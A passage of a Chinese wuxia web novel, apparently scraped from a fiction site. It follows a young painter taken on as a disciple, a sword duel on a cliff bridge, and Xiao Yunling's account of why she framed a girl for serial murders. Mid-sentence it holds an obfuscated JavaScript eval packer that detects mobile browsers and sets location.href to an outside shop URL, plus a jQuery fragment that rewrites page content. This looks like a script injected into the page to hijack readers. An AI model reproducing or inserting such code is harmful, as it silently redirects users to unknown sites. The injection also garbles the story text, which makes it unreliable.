肖云翎单手撑起下颌,摆出一副饶有兴味的样子,轻蔑与神气便同时布现在这张胜仙面孔上,她嘴角弯起,直勾勾盯回宋西州,后者被她看的发毛,赶紧低了头去作图。 她原就只听说过千山峰上无尽崖,可具体在何处她是浑然不知,又一路翻山浮水,早已疲惫不堪,方才在马车上颠的头晕目眩,就是眼上不覆遮布,她也半点路线没记住,此刻要画,哪里画得出? 宋西州干脆不管三七二十一,只捡了自己实实在在的亲眼所见来画。她沾取适墨,铺纸落笔,认真描绘起来。 待她再次抬头,已是画毕。众人竟已乌压压过来围了青石台一圈,她专心一事,完全没有发觉,便听身后的石焉开口道,“画的极好。” 她语气中颇为骄傲,接着向大家道,“西州作画的天赋异禀,可同样难得的是这孩子做事时心无旁骛。我们来的路上她曾与我一同翻看医书,那么些复杂的句子,上古的虫草,她竟连着一个时辰没抬过头。” “哟,小丫头,看不出你还有这本事呐。”裴青染打趣道。 “你现在奉承也晚了,人家画中可没你呢。”蓉姨也跟着调笑。 原来宋西州,是将刚下马车后的景象作了出来。她初期用笔蘸取墨汁大量渲入纸上,以泼墨之法展天高云阔,崖高峰茫。又以工笔细腻,现凤凰于飞,草衬树齐。而图中唯一一处人迹,便是那树下摇摆秋千上,安然睡了一苗条女子。 虽全幅尽用灰墨,但留白与布局疏密得当,人迹与景空相得益彰,谁也没有抢了谁的风头去。观者若胸怀空蒙,自可从黑白着色里感受泼墨大工,若心情明媚,亦可从巧密精细处想象青绿山色。 “可不是?西州答的虽不是姨妈出的难题,但我看姨妈却欣赏的很呢。”石焉道。 肖云翎挑了挑眉以示赞同,道,“我问你,这手好画技,你是跟谁学的?” “跟风学的,跟雨学的。”宋西州见各人都在夸赞自己,也仰起脸自满起来。 “详细说说。”肖云翎也不恼,继续问道。 “我父亲是画师,虽然我出生时他和母亲就都没了,但是我喜欢画,我画雨便作画舫旁的水涟,画风便作疏林里的散叶,姐姐说我的这双手是天生的画才,画皮似真人,画水能流活,姐姐还说我现在就已比父亲当年要青出于蓝呢!” “不错,你现在尚且年幼,但本领已经超出许多画师了。” 宋西州听了便更加得意,她又道,“这山水画并非我最擅长的,画人我才拿手呢!” 石焉听了,笑容突然顿在脸上,她没来由的想起那双布满杀气的眼睛,也出自这样一个小姑娘之手。好在大家的注意力此刻都在宋西州身上,没人瞧见她的僵硬与不自然。 “这话我信,你这画里梅烛师姐虽占幅渺小,又只有一个衣影轮廓,但她好打盹儿的惬意样儿,还真被你给画出来了。”裴青染道。 “可见不止画技,西州对生命的妙思和感悟能力,亦颇为出众。”简梅烛很喜爱这幅画,她一寸寸看过,这才赞道。 “是吗?什么感悟的我倒不懂。我就是和师父学过一些摸骨画皮的巧宗。”宋西州扬着下巴,对众人道。 “姑娘看这娃娃,顺杆就爬。”裴青染别过头悄悄对石焉笑道,又转回脸来继续逗宋西州,“这又怎么说?” 裴青染光顾着戏弄小娃娃,并未发觉身旁的石焉在听道她口中的“师父”二字后脸色已变得越发不自在,连回应时强扯出个笑脸都有些颤抖。 “我师父是江陵扶苏的掌门,叫许霓生,她会制人皮面具,可厉害了!姐姐跟师父说了我绘画有天赋,师父就把她这手功夫全教了我,头面骨皮,如何分布,如何衔接,她只教了我一个人!”宋西州说的煞有介事,眉毛一拧,装成个小大人的样子,道,“不过我不能讲的太详细了,师父说这是独家绝活,不可外传的。” “你师父的确厉害,也算是个女中豪杰。”肖云翎又开了口,她道,“我问你,你姐姐把你送出了扶苏门,你有什么打算?我让你留在凌霄宫,可好?” “什么?”众人一起惊呼道。 唯石焉一人心底明了,姨妈对待宋西州如此特别,果然是想招募其留作弟子。 “留在凌霄宫?!”宋西州也讶道,“好啊好啊,我喜欢这里!又大又漂亮,连这个地宫也十分漂亮!” 肖云翎听到这话欢喜的很,展了笑颜道,“这算什么?下雨的时候,水像帘子一样从这三层石顶的最高处围成个圆降下来,是天赏的瀑布,那才漂亮呢。你留下来拜我为师,我自然带你看。” 话到此处,宋西州却愣了神,她低下头,似乎是突然伤心了起来,她道,“可是我已经有师父了,虽然她死了,虽然你武功更厉害…但我也不能弃师而求荣。” “谁叫你不认旧师了?” “可向来,学武拜师投门,都是从一而终的啊!我一个人,怎么能拜两位师父呢!” “怎么不能拜两位师父?”肖云翎反问道,“她是你师父,我也是你师父,怎么不行?扶苏门是你所属门派,凌霄宫也是你所属门派,又怎么不行?原瞧着你伶俐,没想到却是个小教条。” 宋西州细细想来,竟也找不到可以反驳之处,她看向石焉,后者已缓和了些精神,正也要对她说话,“西州,你只管想自己愿不愿意,其他不必考虑。这不是要你背叛师门,而是要你多学一重本事,将来你想回扶苏门也好,姨妈她绝不会阻拦你的。” “那我要为我师父报仇,你也不能阻拦。”宋西州转过脸,又对着肖云翎道。 此言一出,石焉心里杂陈,她缓缓抬眼,听到肖云翎说,“怎么,你没去澄清大会吗?杀你师父的凶手已经被我当场手刃了。” 宋西州眉毛蹙的更甚,她看了看周围人,然后似是下定了什么决心般,才道,“玉面夫人,我要告诉你个秘密,除了石姐姐以外,她们都不能听。” 肖云翎看她巴掌大的幼脸上满是严肃,当即也没什么犹豫,挥手便将简裴二人和蓉姨一道遣下了,而后道,“秋娘是个哑巴,她留下也不会将你的秘密走漏出去,你放心说便是。” “好吧。”宋西州离开石凳,从对面走至肖云翎身边,她恭恭敬敬做了个揖道,“玉面夫人,你抓错人了。” 在场剩下三人的脸上均未露出什么波澜,她们哪个对此事都比这个小娃娃要更心知肚明。 宋西州躬腰低头,继续道,“晚辈不是要挑战玉面夫人的权威,只是我亲眼见到那杀手了,不是女子,是个男子,且是个左利手的男子。所以虽然其他几派的人都信了,但是我和姐姐却不能信。” “你亲眼见到了?” “正是。姨妈,酬雌姑娘要我带走西州,就是为了这层。”石焉接道。 “所以,您说要留我在此,我心里是万分高兴的。可是玉面夫人,师父的仇,我也是一定要报的,您要留我,就不能阻拦我。”宋西州倔强道。 “我做什么要阻拦?你为你师父报仇是好样的,我还会好好教你本事,让你更快更早去报仇。”肖云翎翻手换了个舒服的坐姿,正对宋西州道。 地宫未建封顶,恍有橙红色的光影射下,打在三层柱墙上斑斑驳驳,碎成一地琉璃瓦彩。 “夕阳渐至了。”肖云翎朝上面看了看,回对石宋二人道,“走吧,青染每次回来,我都要检查她的功夫进退,此刻她和梅烛想必已在训场上等着了,今日就带你们去长长见识。” 出得地宫后,秋娘为二人覆上挡眼,再与肖云翎一道,携二人施展轻功疾奔。待石焉再摘下眼前纱绢,已是又回到了来时的崖边,云岚的下头正是石盘桥,而对面便是千山峰。此刻残阳镶透层云,向下向远望去,仍不见石踪峰影,只是一片茫茫然金山银海。 “这不是千山峰到无尽崖的入口吗?我们为何又回来了?训场呢?”宋西州奇道。 “跟我来就知道了。”肖云翎负手而行,带着几人沿崖边往东走去。 不出六七十步,便见一条小径,小径蜿蜒而下,再走几步,隐隐可见地上一块石板与周遭不同,秋娘上前掀起,竟是一处密洞。 肖云翎率先跳下,随后便是宋西州,石焉扶着秋娘的臂膀最后落下。几人刚刚着地,便觉狂风骤至,石焉以宽袖掩面,稍作适应后才睁眼看清周遭。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253658|197975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 原来此处是肖云翎派人力在崖壁上开凿的一处洞窟,能容三至四人,外侧便是百丈深渊,而窟内三壁环周,一旦顶盖被打开,崖间横风易于吹进却难以上流,堵塞其中便形成了方才的巨大风力,此刻将顶盖关上,自然好的多了。石窟两侧地上各拴了块活板,秋娘正弯腰解开地扣,将两块板子竖起,翻出窟外。 “这法子倒好,板子一侧已钉死在地上,另一侧可活动收进翻出,像个支出去的平台,这样人就可以站出去,看崖外的风景啦!”宋西州凑近看道,“只是不知道牢不牢靠?能不能撑住几个人的重量?” 说着她就颤颤悠悠探出身子,试着往木板上去踩,石焉也是第一次来到此处,她对宋西州调皮的性子本就十分不放心,忙过去牢牢抓住她的手,又回头急道,“姨妈,您要不过来…护一下…这…她…这不会掉下去吧?!” “你放心,就是我掉下去,也不会让她掉下去。”肖云翎笑着靠近过来,迈步出去,也站在木板上。 石焉遂跟着站出去,只觉得眼前景象又与于洞内时所观,大有不同。此窟位于石盘桥东侧下方,山霭虽多弥漫于高空峰顶处,但从底下往上看去,可明显望见石盘桥就横在两座峰崖之间,加之此刻残阳西照,余晖尽洒,金光穿云而来,桥中雾岚也比白日里消散了少许,几人立在木板之上向西望去,如恰时恰刻牛郎织女望之鹊桥,桥上情景已然清晰可见,楚楚眼前,但终隔着宇宙天地,遥不可及。 此时若从千山峰顶向下看去,仍旧是雾霭沉沉,一片白茫,将石盘桥往上的高处都遮了个严严实实,不偌从此处往上观赏,倒是绝顶佳位。 肖云翎以手作哨,长吹一响,那边崖顶便跃下两道身影,两人皆着深竹月服色,正是简梅烛与裴青染。她们身姿轻盈,手中各执一柄长剑,似飞鹰入林,皎月照石。 “好漂亮的轻功!”宋西州拍手大赞。 “原来这就是姨妈所说的训场。”石焉也道。 “青染每次回来都是在这石盘桥上与梅烛较量比试以做汇报。”秋娘在石焉身侧,以手语解释道。 “快看!要开始了!”宋西州从没见过这等场面,欢喜地叫道。 她自己浑然未觉,往前一个不留神,脚尖已迈出了木板边缘,肖云翎单手按住她肩膀,将人往后带了一步。宋西州自己后知后觉,也吓了一跳,当即不敢再放肆,乖乖缩在肖云翎衣摆后头,只探出个脑袋张望。 石焉趁机对她使了个眼色,暗示她快拽住肖云翎衣角,宋西州心里对万丈高崖刚生出些具体的恐惧来,便小心翼翼伸出手,扯上肖云翎袖口。 “你可想仔细。拽了我的袖子,便得叫我师父了。” 宋西州看看自己的手,又看看石焉,见后者正温和地含笑对自己点头,这才开口脆生叫道,“师父。” 肖云翎并不予理会,只仍旧看着石盘桥的方向,丝毫不做回应,嘴角却勾起更甚。宋西州看在心里,和石焉对视一眼,两人都偷偷抿嘴笑了开来,再又一道向石盘桥看去,那边比武正起开端。 只见悬空巨石之上,两条游龙剑影穿梭。简梅烛与裴青染皆换了简单发髻,布条随意绑了马尾倾泻似墨,凉风过境,习习拂面,两人身形晃动,缎带穿绕黑发,招展如云,与轻盈的衣摆一并摇逸飘扬。巨石顶上仍布云岚,云岚之下潜身临渊,简裴二人就在这天地之间起落跃伏,连周遭上空的雾霭也时不时被剑气冲散,偶有一片压得极低,拦腰浮过两人身上,带起一阵涔涔水气,而长空以西的万丈霞光正是浓时,照将过来,半边烟紫半边空,橙红落日浑其中。 好一场堪称楷模样本的对招,看的人头眩目醉,心驰神往。石焉今日得见之,才切身明白缘何灵翰剑法会被奉为江湖百派中最漂亮的一套剑法。 凌霄宫的灵翰剑法是专为女子所创,玉手握柄,纤指捏骨,舞起时最以灵巧轻捷著称,施展后可观赏性极佳,女子习来可补力节,以巧胜蛮,纵是对上重刀阔斧,亦迎刃而解不在话下。凌霄宫向来只收女弟子,而一众女弟子在江湖上要打出个名头并非易事,饶是赫有殿主玉面夫人及手中一柄舒云剑的威名,也不足够。而诸弟子用心修习共创的灵翰剑法,在各大比武中以此剑法拔得头筹,才真正让凌霄宫盛名起、站稳脚,其如今在武林中四大门派之一的地位,便是由此而来。 再看场上情形,简梅烛熟练地喂招,裴青染一一化解,一套灵翰剑舞的极为快意潇洒,剑到此处,已不再是招式的高低,而是境界的深浅。简梅烛更适柔中刚则,裴青染则更重锐里盖顺。巨石上落脚处本就凹凸不平,巨石下头又深不见底,旁侧是残阳束光倾斜劲照,该处训场已是猎猎豪气环伺,万般险象丛生,在此比拼剑法,自是温和者更胜一筹。 半个时辰过去,裴青染刚开始还与师姐旗鼓相当,越往后则越发占不到上风,为取胜果,她一个横剑当空,以剑尖做轴,抢近一步搭于对方剑尖之上,两人手中长剑双双相触,裴青染脚下用力腾起,整个身子便翻跃起来,将全身上下重量皆系于剑尖一点,简梅烛持剑支撑不住,眼看就要跪将下去,只好奋力一挑,撞开剑尖,裴青染应力而落,而就在此时,一抹亮色正射在剑锋,夕阳下似血红光猛地刺入眼中,她被恍了眼,对脚下巨石宽度判错了界,眼看着就要落下崖去,说时迟那时快,简梅烛踏步上前,脚抵巨石边缘,伸手拉住裴青染,用力带回,二人多年默契,后者左手拉住师姐,右手以剑抵石,借力攀回,简梅烛立在地上,裴青染旋身飞转,两人双手交握,在赤色霞光中画出一道完备的半圆,从东向看去,两人描绘出的虹周恰好沿着落日远环,形成的剪影如金辉灿烂。一番惊险之后,安然落回石面。 “是我心急了,多谢师姐。”裴青染低下头抱拳,又悄悄抬眼去看师姐的神情。 “你的武功丝毫没有退步,反而又有进益,只是锐气太盛,是该挫一挫了,这次回去,少不得师父要说你一顿。” 简梅烛收剑入鞘,往崖上而来,她气度沉静,步履不焦,裴青染见其返回,忙不迭甩了马尾至脑后,插剑回鞘,一路小跑着跟随师姐返回。 红日渐落,此刻正至巨石处高低,远远看去,两人的剪影一前一后奔跑其上,正像在落日之内追逐似的,无忧无虑,便是此情此景。 19. 第四章第五节 “少侠还要躲到几时?” 寺庙里的男子长跪半日,起身时并不见踉跄,他原是常来此处拜惯了的。轻轻将牌位放好,他转过脸,对着半扇破败窗户的外面道。 “你从什么时候发现我的?”江南从阴影处翻窗跃入,问道。 “从一开始。”男子展开手中的折扇,轻轻笑道,“你轻功很好,若换了以前的我是肯定发现不了的,可这些天,我日夜警觉,一直在等你。” “等我?” “你背后的人派你来摸我的底,我背后的人自然也要知道你的,只不过比起自己劳力涉险,倒不如引蛇出洞,我将计就计。” 江南听他寥寥几语,已出了一身冷汗,他养成了习惯,对待命令向来只管执行与否,从不多虑一步,也不少想一寸。可眼前人武功未知,还兼智谋,想必一定是太子身边的得力干将。而他呢,他对于屿王,可有什么特别的贡献吗?如若不是家世恩遇,他被人取而代之,又有什么不可以。既然在筹谋上帮不了殿下更多,他自然是要在武功上力求更高,至少绝不能让屿王在要拼命的场合上败给太子。 想到这里,江南突然感到在眼前人的身上有一股与自己非常相似,却又有所不同的味道。为奴为仆者,不过皆是揽罪责至己身,献性命于主上,降刑罚时压制自抑,有荣宠便感恩戴德。连师父都嗤笑过他身上的奴性太重,江湖气几近于无,天生该供驱使于隐秘暗夜,而非光明随性于侠义武林。可他明明知道,却还是心甘情愿替他人卖命,全他人功名,不是认命,是自知之明。这就是和面前人的不同之处,他没这个人的才智,自然也没这个人的野心,做这份刺客的差事,自己说不上饮之如饴,却也没什么不志不甘。可眼前人显然是被迫屈膝,居于此职,或为生计困,或有其他机缘,只看他虽然笑着,然而眉间的愁云,却比自己浓的多了。 “那么你得逞了,又想如何?” “我想知道你的名字,年龄,师从。” “你想的挺美的。”江南本就是为了试他的武功,当即不再多语,随手拿了身边支窗的叉竿,欺身攻来。 手拿折扇的男子见对方去摸竹竿,便知其要突然发难,立刻闪身躲过,转瞬便避去了另一边,江南手中竹竿只碰到了下他的白衣一角,留下一道灰尘污痕。 “年轻人火气盛可以理解。”那人折扇轻扇,语气中尽是说不出的轻慢与挑逗,他将衣摆下方的灰尘一一掸去,才慢条斯理道,“英国公那一役,你的武功招式如何,都已被我作壁上观瞧去了,所以今日我是不打算与你交手的。” 江南不善言辞,更不懂他口中的典故,只是回道,“可我还不知道你的。” 说罢便又出手袭去,这次他心中对对面的轻功有了些考量,若刚才试探时只用了五成的速度,此刻便用足了八成,再不给对方躲闪的余地。他不知对方已知晓自己左利手的秘密,便仍一味用右手挥竿进攻。那男子眼看躲不过,只得举扇回应。 这段时日,江南已在石老的点拨之下日日坚持修习心法、循环冲穴,如今的内功比之以前又有进益,他能清晰感觉到自己在招式和内力上都已完全压制了对方。可不论他如何占据上风,却并不能真正伤害那人分毫,对方武功路数十分少见不说,内功家法也是奇特无门,每每他薄弱之处已在自己手边,都能出其不意滑溜开来,像海中游鱼,捉摸不定。 数十招后,那人虽无法在江南身上讨到任何好处,却也一直自保,不至落于狼狈境地,只是他心知再打下去,必定迟早被抓住破绽,便寻了个机会抽身撤开,眼看江南又要上来,立刻道,“我叫叶开显,少侠满意了?” “江南。”他不想占谁的便宜,遂也自报家门回道。 “江南?两个月前在杭城和玉面夫人交手了百招的那位?”男子皱了眉,眼里似有惊讶之色。 “你也在现场?” “哈哈,我不在,但是少侠的名号已经传扬四海了。”男子舒展了眉头,笑道,“太高调对我们这种人可不一定有利啊,麻烦或许会比你想象的更多。用得好了事半功倍,不好甚至会牵连主上,不知道屿王殿下,对此是什么看法啊?” “屿王府宽敞,不会容不下我,不用你挑拨。”窗外夕阳暗去,江南转身便要走,他最后道,“不打扰你和你妹妹团聚了,告辞。” 这边肖云翎也带着几人出了石窟,待一行人会面后,眼见天色渐晚,便一道赴就近的亭中用晚饭,无尽崖上并没有什么食不言寝不语的规矩,一切随心随性,几人快活享用美食,期间肖云翎敲打提点裴青染方才比武中的急躁之处,宋西州也时不时插话提问,甚至裴青染非缠着简梅烛菜刚到嘴中便放下碗筷又去旁的空地之上比划演示了一番,而后才又回到桌上继续用饭,石焉与秋娘均是相视一笑,默默不语。 饭后简裴二人带着宋西州先去了住处安置,肖云翎则带着石焉并肩慢慢沿着崖边漫步,秋娘缓步跟在后头。 “宋西州这丫头,倒是挺招人喜欢,一点不怯生。”肖云翎说这话的时候,看了看石焉。 “是,西州比我那时候,勇敢太多了。”石焉低头盯着自己的脚尖,崖边风大,裙摆被吹的不停拍打在小腿上,带起一片生疼,她边走边伸手理一理自己被吹散的碎发,发出一声轻轻的叹息。 “怎么你这次来对我倒生疏了许多,心里若有什么事,不许瞒我。”肖云翎双手背后,慢慢往前走着,见石焉并未回复,便继续道,“你啊,从小大家都说你长得像我,偏偏行动做派却半点不像,十足十复刻了你母亲的软性子。说吧,是不是因为澄清大会上我杀山青的事,让你心里不惯了?” “姨妈,那就恕我直言了。您聪慧明理,耳目遍多,肯定早就知道山青姑娘根本不是凶手。我亦知道,那凶手每杀一人都栽赃是凌霄宫舒云剑所为,肯定让您生气了。您自证清白无错,只是我不明白,您为何要推另一个无辜的女孩出来,把凶手之名扣在她身上呢?” “你既怪我,便先听听我的理由。”肖云翎道,“卷云洞一共四位弟子,两男两女,大弟子江南被他师父卖给了屿王做杀手,二弟子江北养的放浪,除了练功也在外面接些护镖驱恶的杂活,三弟子山黛虚荣愚蠢,没心没肺,四弟子山青倒聪慧,可却是这四人中最心狠手辣,残忍癫狂的一个。” “姨妈对卷云洞好像格外了解,也有些看不上?”石焉见江南是屿王府刺客的隐秘事竟被她一语道破,言语中又颇轻蔑,便试探道。 肖云翎似乎很不愿意多提卷云洞似的,她边嗤了声“小门小派”边作出个白眼,然后道,“你可知那山青是个十恶不赦的小魔头,我那样处置了她,根本算不得什么。” 石焉回想起那日少女濒死的惨状,心中泛起一阵不忍,她道,“纵使是十恶不赦的该死之人,作为正义之士,可依律罚,可按道谴。若人人都以你犯我一寸,我便要侵还你一丈为原则,岂不是天下皆是残暴者了。姨妈你和我一样,不是五派中人,我自是没资格说要替他们宽恕,可姨妈也不应擅自替他们决定报仇的方式啊。” “谁说我是替他们报仇的了?他们的掌门死不死的我才懒得管。我杀她自然有我的道理。” “妙常愿闻其详。”石焉心知她这位姨妈向来是随心所欲,天下万事,除了自己亲人及凌霄宫中人这两桩,其余闲事半分都不会管,若不是这件事诬陷到了本派头上,她定不予理会,只是肖云翎虽铁石心肠,却也不至于故意在众人面前害死人命。她的确想听听姨妈这样做的缘由。 “山青今年不过十四岁,可手里光为人知的就已沾染了八条人命!她是家乡饥荒,逃难到的卷云洞,一路上杀人饮血,割骨嚼肉,这都是有人亲眼所见的。她拜师以后有了武艺傍身,便更加肆无忌惮,我门下一青衣弟子,就曾在轮派出去至地方分铺打理生意的时候,偶遇她虐杀一孩子泄愤,即便那孩子早已没气了。” “怎么会…”石焉震惊地长大了嘴巴,回想当时,远远看去那少女弱质纤纤,眉清目俊,怎能是如此… “妙常,这便是你与我的区别。发生了五位掌门连环被害的案子,你依然会觉得其下弟子兴许能再给那女孩赎罪的机会,可江湖是什么地方,杀人如麻,刀口舔血。我先挑断她手脚以解五派之气,再趁众人不备快剑杀之以示仇怨已报,最后焚尸灭迹。否则五派中的有些人,未必不会拿尸体释恨。只有把这些事做在前面,才能叫那些人自愿离去啊。 山青造过的孽太多,我正好把五派掌门之死也冤在她头上,多这五条不算多。她的死是理所应当,至于其他挑筋焚火这些环节,惟有我肖云翎来做了,其他人才会因着畏惧我的几分,而息事宁人,才能将这个连环惨案钉死在山青的身上。至于那五派信不信,都无所谓,他们中又有几个有能力追查凶手?不过是会拖了一年又一年,直到门派耗尽力气、自我没落。因此赶紧找到一个公认的凶手报好仇,给五位掌门下了葬,再推出新的掌门来,才是保全门派的最好法子。” 说到这里,肖云翎眯起眼睛,似是在回忆那天的画面,她道,“当时冲上来和我对战的那个男孩一套卷云刀法使的倒真是好,应该就是卷云洞的大弟子江南,自然也应该是那个真正的凶手。他打不过我,和我对招时被我逼的不得不双手对抗,可我也不难感觉出他左掌的功夫总是更顺畅一些,刚刚西州说她亲眼见到凶手是个左利手,我便更确定。” 肖云翎的语气十分无所谓,她拖长了音道,“你是没看见,我自从抖了他小师妹掉出麻袋,他就一直在发抖,哼,还是太嫩,想救又不敢。哪怕站在我背后,我都能感觉到他紧张的眼神。不过那又怎么样呢?我要杀山青,还能让他来得及阻拦?更何况,我把山青的来头按在了咱们凌霄宫上,反把他们卷云洞的干系撇的干干净净。用这一条本来就该死的性命,救下了他们最中用的大弟子江南,已经算是我再最后给卷云洞的一次机会、一分面子。否则他们就等着偷鸡不成反蚀把米吧。” “姨妈,”石焉一下子得到了太多信息,她按住自己复杂的心情,只是问道,“你既然推断出了凶手,刚才却为何说是要帮他?要帮卷云洞遮掩?” “事到如今我也没什么好瞒你,本来我不想提起,纯粹是觉得晦气。”肖云翎啐了一口,又道,“卷云洞的主人,也就是这四人的师父叫肖云慕,就是我小妹,按理你也该叫她一声姨妈。” “什么?”石焉惊道,“她不是失踪了吗?” “什么失踪,纯粹是我懒得找她,找到了也懒得宣扬。” 两人一路走回到地宫外的大树下,肖云翎坐在秋千上,一荡一荡地道,“怎么,就许你一直瞒着我不识得崖上路线,还瞒着我私放归留园的叛徒,就不许我也有事瞒着你?” 石焉这才后知后觉地心里一惊,她们二人一路散步,明明是肖云翎在故意放慢跟着自己的步子,而自己满腹满心都在想刚刚话中的内容,竟走神至此,下意识中就顺理成章地从崖上入口走回到此处,与马车路线相同无二。至于私放叛徒,她本想向肖云翎汇报,却一时事多忘了,此刻被戳穿才恍然想起。好在这两桩事两人之间本就心知肚明,倒也无妨。她向来在这位姨妈面前不敢伶牙俐齿地反驳,只继续听着。 肖云翎接着方才的话道,“她一直把我当假想敌,做什么事的目的并不是为了她自己,倒像是为了恶心我似的。否则你以为这次五派掌门之死,本只是屿王为着要铲除太子势力,那么你猜是谁,给屿王出主意要一路留下我的痕迹,栽赃凌霄宫?除了我这位小妹,我可真想不到旁人。” 石焉蹙起眉,便听肖云翎又道,“江湖里谁不知道,西仰月东顷水,北千山南少林,惟这四派鼎力。少林寺不理争端,央月教远在西域,只剩下九顷水帮和咱们千山峰上无尽崖两股力量最值得一争,恰恰你那位兄长也有些手段,他曾打听到归留园是凌霄宫的铺子,便多次派人前去暗示一二企图得到助力,你裴师姐对他们足够不厌其烦了。” “可惜啊,他不知我不是不帮他,我是谁都不帮。就是不想参合他们这肮脏事儿,便给青染下了死命令,随便应付,拒不合作。” 石焉听到这,恍然大悟,她顿时觉得是自己平白拖了凌霄宫下水,立刻道,“对不起姨妈,我当时为救英国公大人,曾求裴师姐的归留园借我一用,累了凌霄宫,是我的错。” “得了吧。”肖云翎却不以为然,道,“你又不知道屿王早已清楚归留园是凌霄宫下辖的,按他的心机,也绝不会告诉你,巴不得你主动把园子拱手奉上呢。之前百般被拒,他才纳了肖云慕的提议,同意把五派掌门之死扣在我们头上,这样凌霄宫威严必定折损,那么他屿王得不到的棋子,也不会变成对手的利刃。谁想到如今有你这个意外之喜,他当然不会放过,又正好借你重新搭上拉拢凌霄宫的桥。 至于借用归留园一事,若没得到我的同意,青染绝对不会答应你,所以你不必放在心上,这些事她早飞鸽传书于我,全是我许了的,一是因为既然你决定要帮他,又一时之间为英国公找不到更好的藏身之处,我心甘情愿帮你一个忙。二是他自以为通过你和归留园便有可能重新与凌霄宫做上朋友,但到时候帮不帮他还不是我一句话的事?又不是真的就上了贼船下不来了。 只是我却要问问你,你为何去了金陵一趟,便答应插手他们的党争?屿王一向凉薄,你不是不知。” “姨妈,我与兄长七年未见了,七年前之事到底如何也不甚清楚,我…”石焉顿了顿,换过话题道,“我这次去金陵,还见到了王妃,且王妃自己告诉我,她多年未孕,兄长也从未动纳妾之念。姨妈知道的,后嗣广泛,是能在皇上面前得脸的。兄长本身对孩子并无多少执念,可一旦事涉立储,他就必要争上一争,但即便如此,他仍只对王妃一心一意,可见兄长其实,其实并不凉薄。” “是吗?”肖云翎冷笑一声道,“呵呵,可在我看来,这恰恰是他凉薄自私所在。他珍爱他那位王妃,因此自然凡事以她为先,不会亏待了她。可对其他人呢?对其他与他只是共事关系的人呢?不过是招之即来挥之即去,有用时捧着无用便丢弃。你心里想必也清楚,他送你爷爷去徒太山,是为了 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见石焉语塞,她又道,“当年他贵为皇子却求亲五品官员女,看似吃了多大亏、多委身受屈似的,实则全是他满打满盘算好了。你眼瞧着他娶了祝家闺女之后,是不是风评俱佳,得了多少朝中直臣的追捧,是不是在党派已经分割清楚的朝堂上,又连带着为自己引入了多少新贵势力。连不懂政治的百姓见了这桩婚事,都说他清流不染,为天下男子之表率。你现在我面前倒帮起他说话了,可你要真觉得他好,何必逃也似的离开金陵?直接留下帮他不就是了?” “他要争君夺权我无话可说,可他做事的方法与初衷我无法认同,又如何能帮他呢?”石焉转头看向远处层层云雾的对面,幽幽道,“商君有云,万民皆以自治,明主因治而终治之,故天下大治。或许有一天,天下根本不再需要君主,而百姓人人自得其乐。” “商君说的清楚,民不尽知,民不尽贤。且看你父母就知,他们为滇南做的还不够好?可一朝事发,皇帝一纸罪书,功劳尽抹,多少民众甚至追上街去朝你家扔烂菜叶子。能辨是非黑白的圣贤一百年出一个,以其昏昏,使人昭昭的愚昧和偏听才是大多数人的面具。你想的太平盛世,那是天上人间,不是现实尘世,要发梦,也等每个人都有神仙般的觉悟以后再说吧。”说罢,肖云翎起身负手就要离去,留下一句,“去你母亲墓前跪着好好反思,想想她给你取的名字,莫要再忧天患世,庸人自扰。” 石焉应了声“是”,她看见秋娘靠近跟上去,似是用手语劝肖云翎对自己说的话太重,又依稀听见后者回了一句,“我再不狠狠教训她,她真要把自己当普渡众生的观世音菩萨了。” 母亲的墓就设在这片草木地的深处,石焉走入其中,见碑前放置的一束小花尚未卷边,知道早晨里肖云翎定是才来过。 “去你母亲墓前跪着好好反思,想想她给你取的名字。” “妙常,天赐骨皮,人修善心。你已经有妙绝时人的外貌,可娘更希望你能有妙手仁心,万不可做个空有其表的女子。你读了五年医书,从今年起,娘亲决定带你每月定期义诊。”那年自己九岁生辰,母亲带她出府,在王府门前,她淡淡地对自己笑着,说罢后她又把最后一句话用瑶语大声向围在门前的百姓们翻译了一遍,众人无不称赞鼓掌,“夫人小姐真是大善人,长生天保佑你们。”“王府的都是大好人。”于是她顿了顿,继续转向女儿,换用汉语道,“娘希望你,于他人永持善良、妙手仁心,于自己,喜乐平常就好。”说罢轻轻在女孩额头上吻了一下。 可是母亲,您可知,您说的话对千万人都适用,对妙常却万难为之。 我自问对旁人向来以悬壶济世的纯心以待,可于己却从没体会过平凡开怀。 妙常每日里都在违人与违心的痛苦两难中不得解脱,夜里又总在惊骇中挣扎醒来。 自您走后,我得爷爷收养,又有姨妈护佑,伯母体贴,弟弟可爱,衣食无忧,读书不缺。可是妙常再没向从前在家时那样撒娇发嗲,再没随心地对不愿接受的好意推拒不从。 我自知说这些话是万万对不起爷爷和姨妈的,他们已然为我付出了能付出的全部。 只是母亲,妙常好想您,好想您… 不知道过了多久,石焉突然听到背后传来裙摆拖过低杈的摩擦声,她忙抹了把脸,才转过头去。 “秋娘。”她唤道。 来人正是秋娘,她因过往不幸,很早就成了哑巴,唇上也留了巨大的伤疤,因此一直以纱掩面,与人沟通也皆以手语。 她这会儿正比划道:“我见姑娘哭的伤心,这才一直不敢上前叨扰。” “我…” 秋娘接着比划道:“殿主向来是越关怀,越责备,姑娘你是知道她的,再没有比殿主更疼你的了,你千万别把她的话往心里去。” “您放心吧,我怎么会不知道姨妈待我的好。” “那就好,姑娘擦擦眼泪,咱们一道回去吧,你在这都已跪了一个时辰了。”秋娘用手势比划完,便拉着石焉回地宫而去。 这一晚石焉睡的难得的安稳,肖云翎的卧房虽处地宫下层,但她和宋西州皆是至纯至性之人,或许无鬼怪欲侵袭,石焉与她们二人共置一房,闭上眼便沉沉睡去,直到感到有天光倾洒入内,再睁开时,果然天已大亮了。 “姨妈,既然已为母亲上过祭,西州也有了着落,我心中记挂爷爷,今日便出发了。”石焉换了身朱色的衣裳,边收拾行囊道。 “只记挂爷爷,不记挂外公吗?”肖云翎也梳妆打趣道,“你外公不论是大事小事都要飞鸽传书告于我,最勤的一次三日内便收到三只鸽子,所以啊,你放心,你爷爷在徒太山住着好得很,毒性也顺利抑制着。” “那太好了!我原也想着在外公处,是不会有什么问题的。”石焉高兴道。 